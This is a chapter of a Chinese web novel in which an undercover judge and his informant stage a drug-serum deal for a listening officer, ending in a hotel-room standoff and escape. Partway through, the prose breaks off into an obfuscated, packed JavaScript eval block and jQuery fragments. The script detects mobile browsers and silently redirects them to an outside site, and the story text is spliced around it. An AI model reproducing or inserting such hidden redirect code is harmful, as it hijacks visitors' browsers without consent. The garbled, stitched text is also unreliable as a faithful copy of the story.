Court12
“路审判，该交代的我都交代了。您放心！如有虚言天打雷劈！”丁振龙颤颤巍巍地跪在客厅的地毯上，双手奉着热茶，完美地诠释了什么叫做合格的狗腿子。
路免行坐在沙发上，双手交叠在胸前，理都没理他手上的茶，那双如霜雪般冷厉的眼睛深如寒潭。“我让你在黑市里淌水给我打探消息，结果你这几年倒是在里面混得风生水起啊，丁老板？”
‘嘭’地一下，茶杯蹬在桌上，洒了一桌的水，丁振龙抬手发誓，义正言辞：“路审判，我赚的钱都是拉皮……开店赚的！绝对合法合规！”
“我只管死没死人不管违不违法，你说庄样的制剂是你觉得他太惨所以给他的，那你的制剂哪里来的？”
“这……”丁振龙偷偷觑他一眼，“您不是让我随时给您打探制剂的来源吗？这一来二去的知道的人也不少了，所以肯定有卖家找上门来，我要是不买那不就穿帮了吗？”
路免行冷哼道：“哦，那你还真是尽职尽责，我都死了你还不忘我给你的任务？”
“您……您这话说的，其实我一直都是追随您的，知道您死……了的消息的时候吃了两年素呢！”
这一通瞎编的话听得路免行烦，然而此时震动的手机让他没空踹人。
路免行冲着丁振龙做了个噤声的手势，后者忙不迭点头。
只见他从兜里摸出了霍初给他的变声药片，就着桌上的茶水咽了下去。本来直接打整容剂变脸的时候就能直接把声音也变了，但是他要等半个小时才能打整容剂，还好早有准备。
他打开麦，故作小声：“报告程执行，这人开门让我进去后说是要洗澡，现在我一个人待在客厅里。”
“那怎么把麦关了？”程未遣的语气里蕴含着怒意。
“第一次用这个东西不太熟练，所以刚才不消息碰到了。”他低声时话语里充满了歉意，但是脸上面无表情。
地上跪着的丁振龙被这一幕吓得半死，他总觉得对面那个说话的人有一天会被路免行给弄死。
“好，随时报备。”
路免行单边关麦的时候程未遣那边是不知道的，肯定是刚才说了话自己没回才发现的。他赶紧关麦，迅速说道：“听着，执行局的人要抓你，你进去之后就别想出来了。”
“啊？！”丁振龙张大嘴巴。
“今天但凡进来的人不是我你就死了，明白吗？”
“明明明白！！”
“等会儿按照我说的话执行，不然我也救不了你。”
酒店大堂。
“老大，你怎么了？”彦一见旁边的人脸色铁青。
程未遣皱着眉，旋即送开配枪的保险栓，“我先上去，你们在这儿等着，酒店周围留好人，注意别让人跑了。”
“欸——”彦一想说什么，但他老大已经消失在了电梯口。
此时的耳麦里面传来了丁振龙的声音，“他让你来拿货？这玩意是能派别人来拿的吗？我不信，你让他打个电话给我。”
“庄哥这两天生病住院了，现在还躺在医院里，医生说不能有辐射，所以他连手机都不能看。”
“不行不行，他在哪家医院？我亲自去看他。”
“这……”路免行有意装作不知道怎么回答，等着程未遣给他指令。
电梯里，程未遣微微垂眼，缓缓道：“你让他带上制剂一起过去。”
“这样吧，要不你带上东西跟我一起去？”
“都这么晚了，你直接告诉我地址，我明天去看他。”
程未遣：“岔开话题。”
路免行拧着眉，示意了一眼丁振龙，后者立刻会意。
“你这么关心这个东西，不会是你自己有私心吧？”丁振龙在地下混久了，什么三教九流牛鬼蛇神没见过？见人说人话见人说鬼话的本事早就练得炉火纯青。
程未遣：“顺着他的话说下去。”
“这个……不愧是龙哥，这都被你看出来了，上次我看见庄哥打了那玩意儿后比一些高阶人类还厉害，所以我也有点……”
“嗨呀，我就说嘛。”丁振龙笑了两声，“你们这样的普通人类我见得多了，但是你要知道这东西要是被模拟庭的人发现了，你我都得死个百来回。不是那个人我是不可能交易的。”
‘叮’的一声从耳麦里传来。
是电梯。
路免行看了眼墙上的时间，还没到半小时。
“其实我也没想用这东西违法犯罪，就想知道变成高阶人类是什么感觉，要不这样？我手里还有点钱，到时候我当着你的面打制剂，等到效果退了之后我再走？”
“你这……”丁振龙啧声，“我就跟你说实话吧，其实这东西我也没多少，买一支的价格可不便宜，我卖给你不如卖给那些高官贵胄，还能走个顺水人情。”
“听庄哥说你在临泽市的人脉广，那儿的货是不是很多？”
路免行已经感受到了门外有人在逼近。
“哟，这就开始想找别家了？”丁振龙笑呵呵的，“其实我也不是卖货的，就是在自家店里看到有人交易，所以买来玩一玩儿，毕竟我也用不上这东西。”
程未遣：“问他的上家是谁。”
“那卖给你的这个人是何方神圣？这玩意儿不应该早在研究所的那场大火里没了吗？谁这么有能力研究出了这么厉害的东西？”
丁振龙：“你要不是庄样的表弟，我都要怀疑你是不是模拟庭派来卧底的了。我就实话告诉你吧，我也不知道，我就是一个正经生意人，卖给我的那个人是我店里的常客。”
还得再拖五分钟才能打制剂。
“那我能仔细看看那东西吗？上次庄哥用的时候我也就瞟了一眼，都没看清楚。”
丁振龙：“哎，不行不行，这东西必须冷藏恒温保存，拿出来之后效果就不好了。”
“就一小会儿？”
“我说了不行——”
‘嘭——’酒店房门被一脚踹开。
路免行在心里暗骂了声，刹那间抓起桌上的茶杯就朝着天花板砸去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499210|202648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>哗啦哗啦——
室内陡然陷入黑暗，无数的玻璃碎片砸下来落在沙发和茶几上，溅起一地的玻璃花。
“不许动！”程未遣举着枪对准了站在窗台边的人影。
“卧槽，老子就知道这事儿不对劲！”丁振龙一手抓着路免行的胳膊，一手将水果刀的刀锋对准他的喉咙，“你开枪啊！看先死的是老子还是这个小崽子！”
路免行的面孔隐没于黑暗中，“程执行，你不用——”
“闭嘴！”丁振龙打断他，随后对着程未遣恶狠狠道：“你要是不想要这个小崽子的命就放下枪让我走！”
“做梦。”程未遣轻轻地扔下这两个字，朝着他的方向缓缓走去，举着枪的手丝毫未动。
丁振龙：“你……你再靠近我真动手了！”
“一个普通实习生而已，死就死了，大不了我赔点钱，抓住你才是我的任务。”
丁振龙彻底傻眼了，这跟剧本上写的不一样啊？！
路免行的嘴角微微上扬，不知怎的，此种情境之下他第一时间没有思考接下来该怎么办，而是突然想起了几年前程未遣毫不犹豫的那一枪。
丁振龙按在路免行肩膀上的手指悄悄地戳了戳，那意思是：路审判，剧本的下一幕你还没想好吗？我快演不下去了！
“程执行说的对，抓你比我的死活都还重要，不过——”
‘啪’地一下，丁振龙握住水果刀的手瞬间被掰折。当啷一声刀片落地，路免行反手就朝着丁振龙的脸上招呼了一拳。
丁振龙霎时只顾着傻眼了，他要被当作炮灰被灭口了吗？
这一瞬间的反转让程未遣靠近的脚步都停下了。
“我的命我自己说了算。”路免行这才把那后半句话说完，他一只手扼住丁振龙的咽喉，后者也不敢还手。
一阵风吹过，月亮从云层中露出，月光洒在窗台边，照清楚了路免行的脸。
蓝白色阴影下，那张总是冷淡的脸出现了一丝裂痕。
丁振龙瞬间会意，反手就是一个肘击挣脱了路免行扼住的咽喉，随后脚下发力踹了他一脚。
“程执行！”路免行竭力喊道。
程未遣这才想起来似的，飞一样地从沙发对面一跃而起冲到了窗台。可不等他抓住丁振龙，唰地一下，窗户被打开，冷风瞬间灌入室内——
窗帘扬起卷住了路免行和丁振龙，两个扭打在一起，路免行抓起地上的水果刀将窗帘生生地割断，随后朝着丁振龙的肩上就是一刀——
丁振龙：？？？？
程未遣扣下扳机的前一刹那，丁振龙身后被打开的玻璃窗忽地被风吹得微微往里偏移了那么一寸。
月光之下，映照了一双模糊的眼睛。
‘啪——’丁振龙趁着他愣神的一秒钟，一脚踹飞了路免行手里的刀，一个翻身就朝着窗户跳下去。
呼地一阵风，人影悄然消失在了夜色里。
可程未遣完全没有追上去的意思，他放下手枪，站在路免行的身后，垂眼看着蹲坐在地上的人。